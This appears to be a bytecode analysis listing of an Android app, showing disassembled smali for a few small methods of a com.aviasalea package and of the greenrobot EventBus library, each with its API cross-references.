                                      11invoke-static {v0, v1, v2, p2}, Lcom/aviasalea/srs/rcv/RtlkReceiver;->access$000(Lcom/aviasalea/srs/rcv/RtlkReceiver;Landroid/content/Context;Ljava/lang/String;Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      12return-void
                                      Cross References
                                      APIs
                                      • java.lang.String.startsWith
                                      Position Instruction Meta Information
                                      0.param p1, "str" # Ljava/lang/String;
                                      1.param p2, "prefix" # Ljava/lang/String;
                                      2.prologue
                                      3if-eqz p1, :cond_c
                                      4if-eqz p2, :cond_c
                                      6invoke-virtual {p1, p2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      7move-result v0
                                      8if-eqz v0, :cond_c
                                      9const/4 v0, 0x1
                                      10goto_b: return v0
                                      11cond_c: const/4 v0, 0x0
                                      12goto/16 :goto_b
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "check" # Z
                                      1.param p2, "pkg" # Ljava/lang/String;
                                      2.annotation system Ldalvik/annotation/Throws;
                                      3value = {
                                      4Ljava/lang/Exception;
                                      5}
                                      6.end annotation
                                      7.prologue
                                      9invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      10iput-boolean p1, p0, Lcom/aviasalea/wb/WITools$App;->check:Z
                                      11iput-object p2, p0, Lcom/aviasalea/wb/WITools$App;->pkg:Ljava/lang/String;
                                      12return-void
                                      Cross References
                                      APIs
                                      • java.util.Map.containsKey
                                      Position Instruction Meta Information
                                      0.param p1, "subscriber" # Ljava/lang/Object;
                                      1.prologue
                                      2monitor-enter p0
                                      3try_start_1:
                                      4iget-object v0, p0, Lde/greenrobot/event/EventBus;->typesBySubscriber:Ljava/util/Map;
                                      6invoke-interface {v0, p1}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                      7try_end_6: move-result v0
                                      8monitor-exit p0
                                      9return v0
                                      10catchall_9: move-exception v0
                                      11monitor-exit p0
                                      12throw v0
                                      APIs
                                      • java.util.Map.clear
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v1, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      3monitor-enter v1
                                      4try_start_3:
                                      5iget-object v0, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      7invoke-interface {v0}, Ljava/util/Map;->clear()V
                                      8monitor-exit v1
                                      9return-void
                                      10catchall_a: move-exception v0
                                      11monitor-exit v1
                                      12try_end_c: throw v0
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v0, 0x1
                                      3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      4iput-boolean v0, p0, Lde/greenrobot/event/EventBusBuilder;->logSubscriberExceptions:Z
                                      5iput-boolean v0, p0, Lde/greenrobot/event/EventBusBuilder;->logNoSubscriberMessages:Z
                                      6iput-boolean v0, p0, Lde/greenrobot/event/EventBusBuilder;->sendSubscriberExceptionEvent:Z
                                      7iput-boolean v0, p0, Lde/greenrobot/event/EventBusBuilder;->sendNoSubscriberEvent:Z
                                      8iput-boolean v0, p0, Lde/greenrobot/event/EventBusBuilder;->eventInheritance:Z
                                      10sget-object v0, Lde/greenrobot/event/EventBusBuilder;->DEFAULT_EXECUTOR_SERVICE:Ljava/util/concurrent/ExecutorService;
                                      11iput-object v0, p0, Lde/greenrobot/event/EventBusBuilder;->executorService:Ljava/util/concurrent/ExecutorService;
                                      12return-void
                                      Cross References
                                      APIs
                                      • android.os.Handler.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "eventBus" # Lde/greenrobot/event/EventBus;
                                      1.param p2, "looper" # Landroid/os/Looper;
                                      2.param p3, "maxMillisInsideHandleMessage" # I
                                      3.prologue
                                      5invoke-direct {p0, p2}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
                                      6iput-object p1, p0, Lde/greenrobot/event/HandlerPoster;->eventBus:Lde/greenrobot/event/EventBus;
                                      7iput p3, p0, Lde/greenrobot/event/HandlerPoster;->maxMillisInsideHandleMessage:I
                                      8new-instance v0, Lde/greenrobot/event/PendingPostQueue;
                                      10invoke-direct {v0}, Lde/greenrobot/event/PendingPostQueue;-><init>()V
                                      11iput-object v0, p0, Lde/greenrobot/event/HandlerPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      12return-void
                                      Cross References
                                      APIs
                                      • java.util.Map.clear
                                      Position Instruction Meta Information
                                      0.prologue
                                      2sget-object v1, Lde/greenrobot/event/SubscriberMethodFinder;->methodCache:Ljava/util/Map;
                                      3monitor-enter v1
                                      4try_start_3:
                                      5sget-object v0, Lde/greenrobot/event/SubscriberMethodFinder;->methodCache:Ljava/util/Map;
                                      7invoke-interface {v0}, Ljava/util/Map;->clear()V
                                      8monitor-exit v1
                                      9return-void
                                      10catchall_a: move-exception v0
                                      11monitor-exit v1
                                      12try_end_c: throw v0